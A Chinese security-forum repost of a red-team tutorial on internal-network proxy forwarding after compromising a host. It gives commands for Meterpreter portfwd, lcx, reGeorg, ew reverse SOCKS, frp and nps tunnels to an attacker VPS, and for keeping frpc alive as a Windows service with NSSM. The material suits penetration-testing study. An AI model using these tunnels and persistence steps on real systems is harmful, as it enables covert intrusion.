安全矩阵

 找回密码
 立即注册
搜索
查看: 2761|回复: 0

【红蓝对抗】内网代理转发

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-1 16:34:24 | 显示全部楼层 |阅读模式
本帖最后由 Delina 于 2021-12-1 16:35 编辑

原文链接:【红蓝对抗】内网代理转发

Tide安全团队Wiki从2020年7月创建以来,陆陆续续成立了红蓝对抗Wiki、移动安全Wiki、代码审计Wiki、应急响应Wiki、工控安全WiKi、物联网安全WiKi、远控免杀Wiki等栏目,后续会节选各小组部分文章于公众号进行发表。
关于更多的Wiki详情,欢迎有兴趣的小伙伴可以移步Tide安全团队Wiki栏目作进一步了解:https://www.yuque.com/tidesec
Tide-红蓝对抗Wiki由Tide安全团队红蓝对抗小组出品,团队成员具有丰富的红蓝对抗、重保演练行动等常态化经验。
红蓝对抗Wiki共计10章37节,系统介绍了从红蓝对抗经验到各种常见漏洞利用,以及免杀、社工等红队常用知识,本篇文章为红蓝对抗Wiki节选。
0x01 背景前言
在平时的渗透测试过程中经常会用到端口转发,通过代理脚本将内网流量代到本地进行访问,方便下一步对内网进行横向渗透。当拿下内网一台主机的控制权后,需要通过代理转发的方式进入内网,整理几种常见的内网代理转发方法。本次以远程桌面连接来进行说明,介绍几种常用的连接方式。0x02 正向代理及反向代理
0x02.1 正向代理
构造代理服务器,用户将请求发送到代理服务器,代理服务器将请求发送到服务器,服务器将信息发送到代理服务器,代理服务器再将信息发送到用户。
0x02.2 反向代理
用户将请求发送到反向代理服务器,反向代理服务器将请求发送到服务器,服务器将信息发送到反向代理服务器,返现代理服务器将信息发送用户,常见应用场景为企业网访问互联网。

0x03 socks协议

SOCKS是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。Socks介于传输层与表示层之间,使用TCP协议传输。0x04 转发工具使用
0x04.1 msf反弹木马
使用条件:服务器通外网,拥有自己的公网ip
msf是我进行内网渗透中用的最多的工具,它内置了很多强大的功能,用起来相当方便。
msf的meterpreter内置了端口转发功能,可以把内网的端口转发到本地。
portfwd add -l 5555 -p 3389 -r 172.16.86.153
转发目标主机的3389远程桌面服务端口到本地的8888,使用linux中的rdesktop连接本地的8888端口。
rdesktop 127.1.1.0:8888
msf内置了socks模块,在session基础上配置路由,调用即可使用,但是速度和稳定性都很差,不做详细介绍。
0x04.2 lcx.exe

使用条件:服务器通外网,拥有自己的公网ip
lcx是一个经典的端口转发工具,直接把3389转发到公网的vps上。
通过大马上传lcx.exe,执行系统命令,其中1.1.1.1是vps的公网ip。
lcx.exe -slave 1.1.1.1 9999 127.0.0.1 3389

因为我公网vps使用的是linux的系统,lcx对应linux的工具为portmap 。
p1为监听的端口,p2为转发到的端口。
./portmap -m 2 -p1 9999 -p2 33889成功监听到转发出的3389端口。

直接使用远程桌面服务连接1.1.1.1:33889

0x04.3 基于web服务的socks5隧道
基于web服务的socks5隧道的优点是,在内网服务器不通外网的情况下也能正常使用。
常用的工具有:reGeorg,reDuh,Tunna和Proxifier。
本次只介绍reGeorg的具体用法。
选择对应脚本的tunnel上传到服务器。

访问上传文件,显示如下表示成功。

在reGeorg文件夹下执行reGeorgSocksProxy.py,-p为指定隧道的端口,-u为刚刚上传的tunnel文件地址。
python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php打开Proxifier,更改为脚本指定的端口。

本地电脑成功通过socks5带进了目标主机的内网。(若失败,可能是某些防护检测到了异常流量,可采用reDuh)
本地电脑直接远程连接目标主机的内网ip。

冰蝎自带的socks代理原理相同,也是基于web服务的。

0x04.4 使用ew搭建socks5隧道

使用条件:目标主机通外网,拥有自己的公网ip
选择对应主机操作系统的执行文件。

目标主机为windows系统,选择上传ew_for_Win.exe文件。
公网vps使用ew_for_linux64文件。
首先在公网vps上执行:
./ew_for_linux64 -s rcsocks -l 10000 -e 11000-l为Proxifier连接的端口,-e为目标主机和vps的通信端口。

然后在目标主机中执行:
ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 11000

socks5隧道建立成功,成功把自己的主机带进目标内网。
​​
使用Proxifier,配置ip和连接端口。

连接远程桌面成功。

0x04.5 frp传送门
使用条件:目标主机通外网,拥有自己的公网ip
首先需要在公网服务器搭建服务端,搭建方法参考:传送门
要注意的是,客户端和服务端的版本号要一致,否则无法正常使用。
对frpc.ini进行配置,为了保证搭建的隧道不对他人恶意利用,加入账户密码进行验证。
  1. [socks5_proxy]
  2. type = tcp
  3. remote_port = 11000
  4. plugin = socks5
  5. plugin_user = xxx
  6. plugin_passwd = xxx
复制代码



上传frpc.exe和frpc.ini到目标服务器上,直接运行frpc.exe(在实战中可能会提示找不到配置文件,需要使用-c参数指定配置文件的路径frpc.exe -c 文件路径)

公网vps主机上运行frps。

配置Proxifier的ip和连接端口,输入设置的账户密码。

隧道建立成功,连接远程桌面。

对于多台目标主机同时搭建多条socks5隧道,需要更改frpc.ini中配置的名称和端口号,在重复的情况下会提示端口占用。

渗透结束后记得把frpc的进程杀死,不然会一直和frps建立连接。
tasklisttaskkill /pid 进程号  -t  -f0x04.2 nps的使用及部署0x04.2.1 搭建NPS(服务端)下载地址:https://github.com/ehang-io/nps/releases在服务器上配置NPS服务端(linux、windows、macos)

0x04.2.2 搭建NPS(客户端)
下载地址:https://github.com/ehang-io/nps/releases客户端启用,填写vps地址、端口
npc -server=xxx.xxx.xxx.xxx:8024 -vkey=1234 -type=tcp
0x04.2.3 NPS使用手册

搭建好服务端NPS后,首先要创建好客户端信息。
​设置socket5

0x04.2.4 NPS优点
1.可使用多个ket多个客户端
2.使用web界面较为简单,适合刚刚进入内网
3.有简单的流量加密
0x04.2.5 NPS使用

配置客户端

添加socks隧道
​客户端设置
上传npc.exe到目标服务器上,根据提供连接信息,运行npc.exe
​服务器控制器显示在线,转发成功通过proxifier代理。

类似的工具还有:sSocks,Termite等,不需要每种都掌握,有自己用的顺手的就行。
0x05 后门持久化
一般在网站服务的web服务关闭后,服务器重启后,大部门后门都会失效,这时需要用到系统服务封装工具。
以NSSM来进行示例,封装frpc为系统服务,建立持久的socks5隧道。
启动nssm图形化界面。
nssm install name选择想要注册服务的exe应用。

设置服务的名字。直接点击install service,如下表示注册服务成功。

查看本地服务。

状态设置为启动,重启电脑进行测试,重启后frpc.exe自动运行,成功和frps连接。

删除服务。
nssm remove <servicename>​

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-8 12:57 , Processed in 0.018963 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表